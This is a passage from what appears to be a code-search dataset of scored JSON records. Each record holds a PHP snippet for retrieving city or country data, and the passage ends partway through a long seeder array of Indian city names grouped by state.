\\DB::table('city')->select('city_id as id', 'city as text')->where('country_id', $request['id'])->orderBy('city')->get();\n }\n }", "title": "" }, { "docid": "d68d032614654235899d2021997e0c02", "score": "0.6596955", "text": "public function allCountries(){\n return $this->get();\n }", "title": "" }, { "docid": "295ce0e897baa75a659feb278e96fa94", "score": "0.65798515", "text": "public function getCities()\n {\n return $this->getCity(-1);\n }", "title": "" }, { "docid": "dafeb211e0813e1924a5609890251db9", "score": "0.6579837", "text": "public function city()\n {\n $result = City::all()->lists('city','city');\n return $result;\n }", "title": "" }, { "docid": "baa21bcbeff057939e4bc3e2fa2a2cf6", "score": "0.65337056", "text": "function get_cities() {\n\t\t$state = $_GET['state'];\n\t\t$id = WCIS_Data::get_province_id($state);\n\t\t$cities = WCIS_Data::get_cities($id);\n\t echo json_encode($cities);\n\n\t\twp_die();\n\t}", "title": "" }, { "docid": "c53818f84d3bd5d362d8c4c0dc68b2bc", "score": "0.652597", "text": "protected function getCities()\n {\n //Get the cities from the JSON file\n if (sizeof($this->cities) == 0){\n $this->cities = json_decode(file_get_contents(__DIR__ . '/Models/cities.json'), true);\n }\n\n //Return the cities\n return $this->cities;\n }", "title": "" }, { "docid": "b7f278fdca78629145ac1a03e3026e95", "score": "0.6479674", "text": "protected function getCities()\r\n {\r\n //Get the cities from the JSON file\r\n if (sizeof($this->cities) == 0){\r\n $this->cities = json_decode(file_get_contents(__DIR__ . '/Models/cities.json'), true);\r\n }\r\n\r\n //Return the cities\r\n return $this->cities;\r\n }", "title": "" }, { "docid": "f7fa6ba7227817c3f5d3874f44b3572c", "score": "0.64736384", "text": "public function getCities(Request $request){\n $stateId = $request->stateId;\n return City::where('stateId', $stateId)->get();\n }", "title": "" }, { "docid": "0d42fcd32a7b45cfaa8459f6d9bb744a", "score": "0.64674044", "text": "public function getCities()\n {\n $sql = \"SELECT city_id\n FROM recruiting_token_city\n WHERE recruiting_token_id = '$this->id'\n AND deleted IS NULL\";\n $results = $this->execute_query($sql)->fetch_all(MYSQLI_ASSOC);\n $return = array();\n foreach ($results as $row) {\n $return[] = new City($row['city_id']);\n }\n return $return;\n }", "title": "" }, { "docid": "af8a0881b4efe14779735618fd5c15e4", "score": "0.6455642", "text": "public function getCountry();", "title": "" }, { "docid": "af8a0881b4efe14779735618fd5c15e4", "score": "0.6455642", "text": "public function getCountry();", "title": "" }, { "docid": "af8a0881b4efe14779735618fd5c15e4", "score": "0.6455642", "text": "public function getCountry();", "title": "" }, { "docid": "af8a0881b4efe14779735618fd5c15e4", "score": "0.6455642", "text": "public function getCountry();", "title": "" }, { "docid": "af8a0881b4efe14779735618fd5c15e4", "score": "0.6455642", "text": "public function getCountry();", "title": "" }, { "docid": "b61829859001a24c947e570c36dfde9f", "score": "0.6447914", "text": "public function getCities($id)\n {\n $cities = DB::table('m_wil_kota')\n ->where('wc_provinsi', $id)\n ->orderBy('wc_name', 'asc')\n ->get();\n return $cities;\n }", "title": "" }, { "docid": "251acca0017d586c0ab5fc751e868332", "score": "0.64276856", "text": "public function cities()\n {\n $cities = [];\n\n $members = Auth::user()->organization->members()->where('verified', 1)->get('user_id');\n\n foreach ($members as $member) {\n $city = User::findOrFail($member->user_id)->city;\n\n array_push($cities, $city);\n }\n\n return response($cities, 200);\n }", "title": "" }, { "docid": "9d1aadef8d72edf9e6465dbb789ce2ee", "score": "0.64130044", "text": "public static function getAll(){\n $cities = [];\n\n $response = self::query(\"SELECT * FROM \".self::$tableName);\n print_r($response);\n\n if(is_array($response)){\n foreach($response as $city){\n $cities[] = new City($city['id'],$city['name'],$city['size'],$city['population'],$city['post_code'],$city['country_fk'],$city['created_at']);\n }\n }\n\n return $cities;\n }", "title": "" }, { "docid": "46cfb7657c924c1cb4c33e7e9843f740", "score": "0.640927", "text": "public function getListCityByCountry($option = null, $countryId = null)\n {\n $cities = [];\n\n if($option == 'filter'){\n //Get all city records filter status = enabled\n $cities = MasterSubDetail::where('master_type_id', $this->cityTable)->where('master_detail_id', $countryId)->where('status', Status::ACTIVE)->get()->sortByDesc('id')->values()->all();\n \n }elseif ($option == 'all') {\n //Get all city records\n $cities = MasterSubDetail::where('master_type_id', $this->cityTable)->where('master_detail_id', $countryId)->get()->sortByDesc('id')->values()->all(); \n }\n \n return Response()->Json($cities);\n }", "title": "" }, { "docid": "bd6d6c7f58591781d669716826fee8de", "score": "0.64039433", "text": "function &getProvincesOfCambodia($locale = null) {\r\n\t\t$cache =& $this->_getCountryCache($locale);\r\n\t\treturn $cache->getContents();\r\n\t}", "title": "" }, { "docid": "f5bdca1b2d6cc008cef5d31d0c4da4b8", "score": "0.63850075", "text": "public function getCountry($id){\n return $this->where('id', $id)->get();\n }", "title": "" }, { "docid": "cd3ad04dc29dae5c2bb6e1793735767f", "score": "0.6384006", "text": "public function getListCities()\n {\n $cities = $this->model->all();\n return $cities;\n }", "title": "" }, { "docid": "ae0932de271be439c7600af06c80abb9", "score": "0.638048", "text": "public function index()\n {\n return City::with('country')->orderBy('name')->get();\n }", "title": "" }, { "docid": "bc9650c80945683a5446853fc175dfab", "score": "0.6377686", "text": "public function get_countries()\n {\n if (static::$cachedCountries === null) {\n static::$cachedCountries = array();\n\n $countries = Country::with(array(\n 'states' => function($query) { $query->orderBy('name'); }\n ))->where('site_id', config_item('site_id'))->orderBy('name')->get();\n\n foreach ($countries as $country) {\n $data = $country->toTagArray();\n $data['states'] = array();\n foreach ($country->states as $state) {\n $data['states'][$state->code] = $state->toTagArray();\n }\n static::$cachedCountries[$country->code] = $data;\n }\n }\n\n return static::$cachedCountries;\n }", "title": "" }, { "docid": "9ae4a382b54822528d7a8fb91f980935", "score": "0.6374539", "text": "public function getCountries()\n {\n return $this->countriesRepo->getCountries();\n }", "title": "" }, { "docid": "dd0e9c7304adfd19f2fe5e02ab896f46", "score": "0.636875", "text": "public function cityIndex()\n {\n $region_id = empty(request('region_id')) ? '' : (int) request('region_id');\n\n $result = City::where('region_id', $region_id);\n\n return $result;\n }", "title": "" }, { "docid": "272de003a8d9b9cf77860d6557e3fc73", "score": "0.6367273", "text": "public function getCountries()\n {\n return $this->countries;\n }", "title": "" }, { "docid": "c4232e2e1c69b821710177c769971357", "score": "0.6346674", "text": "public function list(Country $country) {\n\n $cities = $country->cities;\n if(request()->has('q')){\n $q = request()->input('q');\n $cities = $country->cities()->where('title','like',$q.\"%\")->get();\n }\n return response()->json([\n 'data' => \\App\\Http\\Resources\\City::collection($cities)\n ]);\n }", "title": "" }, { "docid": "c6427501ba0547df57e1f6a909f62a5a", "score": "0.63149726", "text": "public function getCountries() {\n return $this->countries;\n\n }", "title": "" }, { "docid": "4e2a0bc9c86f04e321089534c928e016", "score": "0.62998587", "text": "public function action_getcity()\r\n\t{\r\n\t\t$this->auto_render = false;\r\n\t\t$this->loadBlocks('area_settings');\r\n\t\t$country = $this->getRequest()->query('country_id');\r\n\t\t$city = $this->getRequest()->query('city_id');\r\n\t\t$area = $this->getRequest()->query('area_id');\r\n\t\t$output = $this->getBlock('city')->setCountryId($country)->setCityId($city)->setAreaId($area)->toHtml();\r\n\t\t$this->getResponse()->body($output); \r\n\t}", "title": "" }, { "docid": "a64648f593415b3835c49657bc8625a4", "score": "0.6277874", "text": "public function getCities(): CityCollection\n {\n $response = $this->throwJsonError(\n $this->request->get('/sholat/kota/semua')\n );\n\n return new CityCollection(array_map(function ($data) {\n return [\n 'id' => $data['id'],\n 'name' => $data['lokasi'],\n ];\n }, $response->json()));\n }", "title": "" }, { "docid": "46d3e7ecfb199d410bc3c1faf4df07fa", "score": "0.6264301", "text": "public function country(){\n\t\t$locality = $this->locality;\n\t\tif(!$locality || $locality->type==\"continent\") return null;\n\t\twhile($locality->type!=\"country\"){\n\t\t\t$locality = Locality::find($locality->locality_id);\n\t\t}\n\t\treturn $locality;\n\t}", "title": "" }, { "docid": "0caa7cb893dab44607ec7a079f1018ea", "score": "0.6249481", "text": "public function getCountryCollection(){\n return $this->_countryFactory->create()->loadByStore();\n }", "title": "" }, { "docid": "c1e2c44500e843419771e88bf0acc4ea", "score": "0.6244278", "text": "public function fetchCities($region_id)\n {\n $cities = City::where('region_id',$region_id)\n ->orderBy('title_'.app()->getLocale(), 'asc')\n ->get();\n return $cities;\n }", "title": "" }, { "docid": "dcc3c512691e92e70f526af1f2e04a49", "score": "0.62380284", "text": "public function getAllCountries()\n {\n return $this->coreLibrary->getAllCountries();\n }", "title": "" }, { "docid": "ef9fb73f1b2a36a2455bb11a65a83308", "score": "0.6229776", "text": "public function countries() {\n $data = SITEURL.\"index/countries\";\n return file_get_contents($data); \n }", "title": "" }, { "docid": "5b9ab0b9f77916c8c8e92438851ff46f", "score": "0.6226903", "text": "public function getCountryInfos() { return $this->countryInfos; }", "title": "" }, { "docid": "3be36f609375ebf9403f4659cf37b4b5", "score": "0.6212676", "text": "public function all()\n {\n $citys = City::all();\n\n return $citys;\n }", "title": "" }, { "docid": "321604e7e843e2dee4df21282196493b", "score": "0.6198114", "text": "public function getCities()\n {\n $state_id = $_GET['stateId'];\n if ($state_id != 0) {\n //$cities = $this->state->with(array('masterCity'))->find($state_id, array('*'));\n $cities = $this->state\n ->with([\n 'masterCity' => function ($query){\n $query->orderBy('name', 'ASC');\n }\n ])->find($state_id, array('*'));\n } else {\n //$cities = $this->city->all(array(\"*\"));\n $cities = $this->city->getAllCitiesOrderByAcs();\n }\n\n\n return Response()->json(array('success' => 'true', 'data' => $cities), 200);\n }", "title": "" }, { "docid": "a7072ef5aded5b6796a6aa60e93bcee2", "score": "0.61950016", "text": "public function countryList() \n\t{\n\t\t$data = $this->getCountryList();\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "d566c89d36d9e42048fbc785e2f935f3", "score": "0.61921966", "text": "public function getCityWithRegion($city)\n {\n $query = $this->getEntityManager()\n ->createQuery(\"SELECT c.id_ci, c.cityName, c.cityUrl, c.cityAds, c.cityOffers, r.id_re, r.regionUrl, r.regionName, r.regionAds, r.regionOffers,\n co.id_co, co.countryName\n FROM GeographyCitiesBundle:Cities c\n JOIN c.cityRegion r\n JOIN r.regionCountry co\n WHERE c.id_ci = :city\")\n ->setParameter('city', $city); \n $row = $query->getResult();\n if(isset($row[0]['id_ci']))\n {\n return $row[0];\n }\n return array();\n }", "title": "" }, { "docid": "385345f5b7eb5858749890eb61ff5050", "score": "0.6190368", "text": "public function getCities()\n {\n return $this->hasMany(City::className(), ['id' => 'city_id'])\n ->viaTable('profile_city', ['profile_id' => 'id']);\n }", "title": "" }, { "docid": "a9ca1e052accb9b95de942de70df561e", "score": "0.6187805", "text": "public static function getCountries() {\n\t\n\t\treturn parent::getCountries();\n\t}", "title": "" }, { "docid": "613df846c45db434c59cfc9bd5823eed", "score": "0.61875284", "text": "public function getCountries(): array\n {\n return $this->request(self::URI_COUNTRIES);\n }", "title": "" }, { "docid": "c252164cfb6ad18bd938253ddb539da0", "score": "0.61819786", "text": "public function getAllLocation(){\n $sql = $this->db->select()\n ->from(\"city\")\n ;\n return $this->executeQuery($sql)->toArray();\n }", "title": "" }, { "docid": "1bc6476b90c73fb5e04889ccbab5a5a8", "score": "0.6178049", "text": "public function fetchCountries()\n {\n $countries = Country::orderBy('title_'.app()->getLocale(), 'asc')->get();\n \n return $countries;\n }", "title": "" }, { "docid": "7683c0599ce0bde53f4e031f4f97f8cd", "score": "0.6170384", "text": "public function getCitiesIterator()\n {\n return $this->data->getCities()->getIterator();\n }", "title": "" }, { "docid": "516aaf33cd49e44f0e79bb0f9a0d1943", "score": "0.616914", "text": "public function getCountries(array $languageCodes);", "title": "" }, { "docid": "aec53c624884a35643a2b74431ae91cd", "score": "0.6167175", "text": "protected function _getCountryList()\n\t{\n\t $cacheid = self::CACHE_ID_COUNTRYLIST;\n\t if(method_exists($this->getDefaultTranslator(), 'getlocale'))\n\t {\n \t $cacheid .= $this->getDefaultTranslator()->getLocale();\n\n\t }\n\t elseif(method_exists($this->getDefaultTranslator(), 'getadapter') && method_exists($this->getDefaultTranslator()->getAdapter(), 'getlocale'))\n\t {\n\t $cacheid .= $this->getDefaultTranslator()->getAdapter()->getLocale();\n\t }\n\t \n\t if($this->isCacheOn())\n\t {\n \t if(NULL == ($c = $this->getCache()->load($cacheid)))\n \t {\n \t $c = $this->_getCountryListSorted();\n $this->getCache()->save($c, $cacheid, array($cacheid));\n \t }\n\t }\n\t else\n\t {\n\t $c = $this->_getCountryListSorted();\n\t }\n\t\treturn $c;\n\t}", "title": "" }, { "docid": "d00620a5588f0d425732a678fbf6f60a", "score": "0.6163666", "text": "public function getCities(): ?array\n {\n return $this->cities;\n }", "title": "" }, { "docid": "51a8c089d4b6199ee6d7712f336fbff3", "score": "0.6155975", "text": "public function getCountryList()\n {\n return $this->countriesRepo->getCountryList();\n }", "title": "" }, { "docid": "9fe928596fe14277ffb2b4775af273fa", "score": "0.6154596", "text": "public static function cities()\n {\n return [\n ['state_id' => '1', 'name' => 'bombuflat'],\n ['state_id' => '1', 'name' => 'garacharma'],\n ['state_id' => '1', 'name' => 'port blair'],\n ['state_id' => '1', 'name' => 'rangat'],\n ['state_id' => '2', 'name' => 'addanki'],\n ['state_id' => '2', 'name' => 'adivivaram'],\n ['state_id' => '2', 'name' => 'adoni'],\n ['state_id' => '2', 'name' => 'aganampudi'],\n ['state_id' => '2', 'name' => 'ajjaram'],\n ['state_id' => '2', 'name' => 'akividu'],\n ['state_id' => '2', 'name' => 'akkarampalle'],\n ['state_id' => '2', 'name' => 'akkayapalle'],\n ['state_id' => '2', 'name' => 'akkireddipalem'],\n ['state_id' => '2', 'name' => 'alampur'],\n ['state_id' => '2', 'name' => 'amalapuram'],\n ['state_id' => '2', 'name' => 'amudalavalasa'],\n ['state_id' => '2', 'name' => 'amur'],\n ['state_id' => '2', 'name' => 'anakapalle'],\n ['state_id' => '2', 'name' => 'anantapur'],\n ['state_id' => '2', 'name' => 'andole'],\n ['state_id' => '2', 'name' => 'atmakur'],\n ['state_id' => '2', 'name' => 'attili'],\n ['state_id' => '2', 'name' => 'avanigadda'],\n ['state_id' => '2', 'name' => 'badepalli'],\n ['state_id' => '2', 'name' => 'badvel'],\n ['state_id' => '2', 'name' => 'balapur'],\n ['state_id' => '2', 'name' => 'bandarulanka'],\n ['state_id' => '2', 'name' => 'banganapalle'],\n ['state_id' => '2', 'name' => 'bapatla'],\n ['state_id' => '2', 'name' => 'bapulapadu'],\n ['state_id' => '2', 'name' => 'belampalli'],\n ['state_id' => '2', 'name' => 'bestavaripeta'],\n ['state_id' => '2', 'name' => 'betamcherla'],\n ['state_id' => '2', 'name' => 'bhattiprolu'],\n ['state_id' => '2', 'name' => 'bhimavaram'],\n ['state_id' => '2', 'name' => 'bhimunipatnam'],\n ['state_id' => '2', 'name' => 'bobbili'],\n ['state_id' => '2', 'name' => 'bombuflat'],\n ['state_id' => '2', 'name' => 'bommuru'],\n ['state_id' => '2', 'name' => 'bugganipalle'],\n ['state_id' => '2', 'name' => 'challapalle'],\n ['state_id' => '2', 'name' => 'chandur'],\n ['state_id' => '2', 'name' => 'chatakonda'],\n ['state_id' => '2', 'name' => 'chemmumiahpet'],\n ['state_id' => '2', 'name' => 'chidiga'],\n ['state_id' => '2', 'name' => 'chilakaluripet'],\n ['state_id' => '2', 'name' => 'chimakurthy'],\n ['state_id' => '2', 'name' => 'chinagadila'],\n ['state_id' => '2', 'name' => 'chinagantyada'],\n ['state_id' => '2', 'name' => 'chinnachawk'],\n ['state_id' => '2', 'name' => 'chintalavalasa'],\n ['state_id' => '2', 'name' => 'chipurupalle'],\n ['state_id' => '2', 'name' => 'chirala'],\n ['state_id' => '2', 'name' => 'chittoor'],\n ['state_id' => '2', 'name' => 'chodavaram'],\n ['state_id' => '2', 'name' => 'choutuppal'],\n ['state_id' => '2', 'name' => 'chunchupalle'],\n ['state_id' => '2', 'name' => 'cuddapah'],\n ['state_id' => '2', 'name' => 'cumbum'],\n ['state_id' => '2', 'name' => 'darnakal'],\n ['state_id' => '2', 'name' => 'dasnapur'],\n ['state_id' => '2', 'name' => 'dauleshwaram'],\n ['state_id' => '2', 'name' => 'dharmavaram'],\n ['state_id' => '2', 'name' => 'dhone'],\n ['state_id' => '2', 'name' => 'dommara nandyal'],\n ['state_id' => '2', 'name' => 'dowlaiswaram'],\n ['state_id' => '2', 'name' => 'east godavari dist.'],\n ['state_id' => '2', 'name' => 'eddumailaram'],\n ['state_id' => '2', 'name' => 'edulapuram'],\n ['state_id' => '2', 'name' => 'ekambara kuppam'],\n ['state_id' => '2', 'name' => 'eluru'],\n ['state_id' => '2', 'name' => 'enikapadu'],\n ['state_id' => '2', 'name' => 'fakirtakya'],\n ['state_id' => '2', 'name' => 'farrukhnagar'],\n ['state_id' => '2', 'name' => 'gaddiannaram'],\n ['state_id' => '2', 'name' => 'gajapathinagaram'],\n ['state_id' => '2', 'name' => 'gajularega'],\n ['state_id' => '2', 'name' => 'gajuvaka'],\n ['state_id' => '2', 'name' => 'gannavaram'],\n ['state_id' => '2', 'name' => 'garacharma'],\n ['state_id' => '2', 'name' => 'garimellapadu'],\n ['state_id' => '2', 'name' => 'giddalur'],\n ['state_id' => '2', 'name' => 'godavarikhani'],\n ['state_id' => '2', 'name' => 'gopalapatnam'],\n ['state_id' => '2', 'name' => 'gopalur'],\n ['state_id' => '2', 'name' => 'gorrekunta'],\n ['state_id' => '2', 'name' => 'gudivada'],\n ['state_id' => '2', 'name' => 'gudur'],\n ['state_id' => '2', 'name' => 'guntakal'],\n ['state_id' => '2', 'name' => 'guntur'],\n ['state_id' => '2', 'name' => 'guti'],\n ['state_id' => '2', 'name' => 'hindupur'],\n ['state_id' => '2', 'name' => 'hukumpeta'],\n ['state_id' => '2', 'name' => 'ichchapuram'],\n ['state_id' => '2', 'name' => 'isnapur'],\n ['state_id' => '2', 'name' => 'jaggayyapeta'],\n ['state_id' => '2', 'name' => 'jallaram kamanpur'],\n ['state_id' => '2', 'name' => 'jammalamadugu'],\n ['state_id' => '2', 'name' => 'jangampalli'],\n ['state_id' => '2', 'name' => 'jarjapupeta'],\n ['state_id' => '2', 'name' => 'kadiri'],\n ['state_id' => '2', 'name' => 'kaikalur'],\n ['state_id' => '2', 'name' => 'kakinada'],\n ['state_id' => '2', 'name' => 'kallur'],\n ['state_id' => '2', 'name' => 'kalyandurg'],\n ['state_id' => '2', 'name' => 'kamalapuram'],\n ['state_id' => '2', 'name' => 'kamareddi'],\n ['state_id' => '2', 'name' => 'kanapaka'],\n ['state_id' => '2', 'name' => 'kanigiri'],\n ['state_id' => '2', 'name' => 'kanithi'],\n ['state_id' => '2', 'name' => 'kankipadu'],\n ['state_id' => '2', 'name' => 'kantabamsuguda'],\n ['state_id' => '2', 'name' => 'kanuru'],\n ['state_id' => '2', 'name' => 'karnul'],\n ['state_id' => '2', 'name' => 'katheru'],\n ['state_id' => '2', 'name' => 'kavali'],\n ['state_id' => '2', 'name' => 'kazipet'],\n ['state_id' => '2', 'name' => 'khanapuram haveli'],\n ['state_id' => '2', 'name' => 'kodar'],\n ['state_id' => '2', 'name' => 'kollapur'],\n ['state_id' => '2', 'name' => 'kondapalem'],\n ['state_id' => '2', 'name' => 'kondapalle'],\n ['state_id' => '2', 'name' => 'kondukur'],\n ['state_id' => '2', 'name' => 'kosgi'],\n ['state_id' => '2', 'name' => 'kothavalasa'],\n ['state_id' => '2', 'name' => 'kottapalli'],\n ['state_id' => '2', 'name' => 'kovur'],\n ['state_id' => '2', 'name' => 'kovurpalle'],\n ['state_id' => '2', 'name' => 'kovvur'],\n ['state_id' => '2', 'name' => 'krishna'],\n ['state_id' => '2', 'name' => 'kuppam'],\n ['state_id' => '2', 'name' => 'kurmannapalem'],\n ['state_id' => '2', 'name' => 'kurnool'],\n ['state_id' => '2', 'name' => 'lakshettipet'],\n ['state_id' => '2', 'name' => 'lalbahadur nagar'],\n ['state_id' => '2', 'name' => 'machavaram'],\n ['state_id' => '2', 'name' => 'macherla'],\n ['state_id' => '2', 'name' => 'machilipatnam'],\n ['state_id' => '2', 'name' => 'madanapalle'],\n ['state_id' => '2', 'name' => 'madaram'],\n ['state_id' => '2', 'name' => 'madhuravada'],\n ['state_id' => '2', 'name' => 'madikonda'],\n ['state_id' => '2', 'name' => 'madugule'],\n ['state_id' => '2', 'name' => 'mahabubnagar'],\n ['state_id' => '2', 'name' => 'mahbubabad'],\n ['state_id' => '2', 'name' => 'malkajgiri'],\n ['state_id' => '2', 'name' => 'mamilapalle'],\n ['state_id' => '2', 'name' => 'mancheral'],\n ['state_id' => '2', 'name' => 'mandapeta'],\n ['state_id' => '2', 'name' => 'mandasa'],\n ['state_id' => '2', 'name' => 'mangalagiri'],\n ['state_id' => '2', 'name' => 'manthani'],\n ['state_id' => '2', 'name' => 'markapur'],\n ['state_id' => '2', 'name' => 'marturu'],\n ['state_id' => '2', 'name' => 'metpalli'],\n ['state_id' => '2', 'name' => 'mindi'],\n ['state_id' => '2', 'name' => 'mirpet'],\n ['state_id' => '2', 'name' => 'moragudi'],\n ['state_id' => '2', 'name' => 'mothugudam'],\n ['state_id' => '2', 'name' => 'nagari'],\n ['state_id' => '2', 'name' => 'nagireddipalle'],\n ['state_id' => '2', 'name' => 'nandigama'],\n ['state_id' => '2', 'name' => 'nandikotkur'],\n ['state_id' => '2', 'name' => 'nandyal'],\n ['state_id' => '2', 'name' => 'narasannapeta'],\n ['state_id' => '2', 'name' => 'narasapur'],\n ['state_id' => '2', 'name' => 'narasaraopet'],\n ['state_id' => '2', 'name' => 'narayanavanam'],\n ['state_id' => '2', 'name' => 'narsapur'],\n ['state_id' => '2', 'name' => 'narsingi'],\n ['state_id' => '2', 'name' => 'narsipatnam'],\n ['state_id' => '2', 'name' => 'naspur'],\n ['state_id' => '2', 'name' => 'nathayyapalem'],\n ['state_id' => '2', 'name' => 'nayudupeta'],\n ['state_id' => '2', 'name' => 'nelimaria'],\n ['state_id' => '2', 'name' => 'nellore'],\n ['state_id' => '2', 'name' => 'nidadavole'],\n ['state_id' => '2', 'name' => 'nuzvid'],\n ['state_id' => '2', 'name' => 'omerkhan daira'],\n ['state_id' => '2', 'name' => 'ongole'],\n ['state_id' => '2', 'name' => 'osmania university'],\n ['state_id' => '2', 'name' => 'pakala'],\n ['state_id' => '2', 'name' => 'palakole'],\n ['state_id' => '2', 'name' => 'palakurthi'],\n ['state_id' => '2', 'name' => 'palasa'],\n ['state_id' => '2', 'name' => 'palempalle'],\n ['state_id' => '2', 'name' => 'palkonda'],\n ['state_id' => '2', 'name' => 'palmaner'],\n ['state_id' => '2', 'name' => 'pamur'],\n ['state_id' => '2', 'name' => 'panjim'],\n ['state_id' => '2', 'name' => 'papampeta'],\n ['state_id' => '2', 'name' => 'parasamba'],\n ['state_id' => '2', 'name' => 'parvatipuram'],\n ['state_id' => '2', 'name' => 'patancheru'],\n ['state_id' => '2', 'name' => 'payakaraopet'],\n ['state_id' => '2', 'name' => 'pedagantyada'],\n ['state_id' => '2', 'name' => 'pedana'],\n ['state_id' => '2', 'name' => 'peddapuram'],\n ['state_id' => '2', 'name' => 'pendurthi'],\n ['state_id' => '2', 'name' => 'penugonda'],\n ['state_id' => '2', 'name' => 'penukonda'],\n ['state_id' => '2', 'name' => 'phirangipuram'],\n ['state_id' => '2', 'name' => 'pithapuram'],\n ['state_id' => '2', 'name' => 'ponnur'],\n ['state_id' => '2', 'name' => 'port blair'],\n ['state_id' => '2', 'name' => 'pothinamallayyapalem'],\n ['state_id' => '2', 'name' => 'prakasam'],\n ['state_id' => '2', 'name' => 'prasadampadu'],\n ['state_id' => '2', 'name' => 'prasantinilayam'],\n ['state_id' => '2', 'name' => 'proddatur'],\n ['state_id' => '2', 'name' => 'pulivendla'],\n ['state_id' => '2', 'name' => 'punganuru'],\n ['state_id' => '2', 'name' => 'puttur'],\n ['state_id' => '2', 'name' => 'qutubullapur'],\n ['state_id' => '2', 'name' => 'rajahmundry'],\n ['state_id' => '2', 'name' => 'rajamahendri'],\n ['state_id' => '2', 'name' => 'rajampet'],\n ['state_id' => '2', 'name' => 'rajendranagar'],\n ['state_id' => '2', 'name' => 'rajoli'],\n ['state_id' => '2', 'name' => 'ramachandrapuram'],\n ['state_id' => '2', 'name' => 'ramanayyapeta'],\n ['state_id' => '2', 'name' => 'ramapuram'],\n ['state_id' => '2', 'name' => 'ramarajupalli'],\n ['state_id' => '2', 'name' => 'ramavarappadu'],\n ['state_id' => '2', 'name' => 'rameswaram'],\n ['state_id' => '2', 'name' => 'rampachodavaram'],\n ['state_id' => '2', 'name' => 'ravulapalam'],\n ['state_id' => '2', 'name' => 'rayachoti'],\n ['state_id' => '2', 'name' => 'rayadrug'],\n ['state_id' => '2', 'name' => 'razam'],\n ['state_id' => '2', 'name' => 'razole'],\n ['state_id' => '2', 'name' => 'renigunta'],\n ['state_id' => '2', 'name' => 'repalle'],\n ['state_id' => '2', 'name' => 'rishikonda'],\n ['state_id' => '2', 'name' => 'salur'],\n ['state_id' => '2', 'name' => 'samalkot'],\n ['state_id' => '2', 'name' => 'sattenapalle'],\n ['state_id' => '2', 'name' => 'seetharampuram'],\n ['state_id' => '2', 'name' => 'serilungampalle'],\n ['state_id' => '2', 'name' => 'shankarampet'],\n ['state_id' => '2', 'name' => 'shar'],\n ['state_id' => '2', 'name' => 'singarayakonda'],\n ['state_id' => '2', 'name' => 'sirpur'],\n ['state_id' => '2', 'name' => 'sirsilla'],\n ['state_id' => '2', 'name' => 'sompeta'],\n ['state_id' => '2', 'name' => 'sriharikota'],\n ['state_id' => '2', 'name' => 'srikakulam'],\n ['state_id' => '2', 'name' => 'srikalahasti'],\n ['state_id' => '2', 'name' => 'sriramnagar'],\n ['state_id' => '2', 'name' => 'sriramsagar'],\n ['state_id' => '2', 'name' => 'srisailam'],\n ['state_id' => '2', 'name' => 'srisailamgudem devasthanam'],\n ['state_id' => '2', 'name' => 'sulurpeta'],\n ['state_id' => '2', 'name' => 'suriapet'],\n ['state_id' => '2', 'name' => 'suryaraopet'],\n ['state_id' => '2', 'name' => 'tadepalle'],\n ['state_id' => '2', 'name' => 'tadepalligudem'],\n ['state_id' => '2', 'name' => 'tadpatri'],\n ['state_id' => '2', 'name' => 'tallapalle'],\n ['state_id' => '2', 'name' => 'tanuku'],\n ['state_id' => '2', 'name' => 'tekkali'],\n ['state_id' => '2', 'name' => 'tenali'],\n ['state_id' => '2', 'name' => 'tigalapahad'],\n ['state_id' => '2', 'name' => 'tiruchanur'],\n ['state_id' => '2', 'name' => 'tirumala'],\n ['state_id' => '2', 'name' => 'tirupati'],\n ['state_id' => '2', 'name' => 'tirvuru'],\n ['state_id' => '2', 'name' => 'trimulgherry'],\n ['state_id' => '2', 'name' => 'tuni'],\n ['state_id' => '2', 'name' => 'turangi'],\n ['state_id' => '2', 'name' => 'ukkayapalli'],\n ['state_id' => '2', 'name' => 'ukkunagaram'],\n ['state_id' => '2', 'name' => 'uppal kalan'],\n ['state_id' => '2', 'name' => 'upper sileru'],\n ['state_id' => '2', 'name' => 'uravakonda'],\n ['state_id' => '2', 'name' => 'vadlapudi'],\n ['state_id' => '2', 'name' => 'vaparala'],\n ['state_id' => '2', 'name' => 'vemalwada'],\n ['state_id' => '2', 'name' => 'venkatagiri'],\n ['state_id' => '2', 'name' => 'venkatapuram'],\n ['state_id' => '2', 'name' => 'vepagunta'],\n ['state_id' => '2', 'name' => 'vetapalem'],\n ['state_id' => '2', 'name' => 'vijayapuri'],\n ['state_id' => '2', 'name' => 'vijayapuri south'],\n ['state_id' => '2', 'name' => 'vijayawada'],\n ['state_id' => '2', 'name' => 'vinukonda'],\n ['state_id' => '2', 'name' => 'visakhapatnam'],\n ['state_id' => '2', 'name' => 'vizianagaram'],\n ['state_id' => '2', 'name' => 'vuyyuru'],\n ['state_id' => '2', 'name' => 'wanparti'],\n ['state_id' => '2', 'name' => 'west godavari dist.'],\n ['state_id' => '2', 'name' => 'yadagirigutta'],\n ['state_id' => '2', 'name' => 'yarada'],\n ['state_id' => '2', 'name' => 'yellamanchili'],\n ['state_id' => '2', 'name' => 'yemmiganur'],\n ['state_id' => '2', 'name' => 'yenamalakudru'],\n ['state_id' => '2', 'name' => 'yendada'],\n ['state_id' => '2', 'name' => 'yerraguntla'],\n ['state_id' => '3', 'name' => 'along'],\n ['state_id' => '3', 'name' => 'basar'],\n ['state_id' => '3', 'name' => 'bondila'],\n ['state_id' => '3', 'name' => 'changlang'],\n ['state_id' => '3', 'name' => 'daporijo'],\n ['state_id' => '3', 'name' => 'deomali'],\n ['state_id' => '3', 'name' => 'itanagar'],\n ['state_id' => '3', 'name' => 'jairampur'],\n ['state_id' => '3', 'name' => 'khonsa'],\n ['state_id' => '3', 'name' => 'naharlagun'],\n ['state_id' => '3', 'name' => 'namsai'],\n ['state_id' => '3', 'name' => 'pasighat'],\n ['state_id' => '3', 'name' => 'roing'],\n ['state_id' => '3', 'name' => 'seppa'],\n ['state_id' => '3', 'name' => 'tawang'],\n ['state_id' => '3', 'name' => 'tezu'],\n ['state_id' => '3', 'name' => 'ziro'],\n ['state_id' => '4', 'name' => 'abhayapuri'],\n ['state_id' => '4', 'name' => 'ambikapur'],\n ['state_id' => '4', 'name' => 'amguri'],\n ['state_id' => '4', 'name' => 'anand nagar'],\n ['state_id' => '4', 'name' => 'badarpur'],\n ['state_id' => '4', 'name' => 'badarpur railway town'],\n ['state_id' => '4', 'name' => 'bahbari gaon'],\n ['state_id' => '4', 'name' => 'bamun sualkuchi'],\n ['state_id' => '4', 'name' => 'barbari'],\n ['state_id' => '4', 'name' => 'barpathar'],\n ['state_id' => '4', 'name' => 'barpeta'],\n ['state_id' => '4', 'name' => 'barpeta road'],\n ['state_id' => '4', 'name' => 'basugaon'],\n 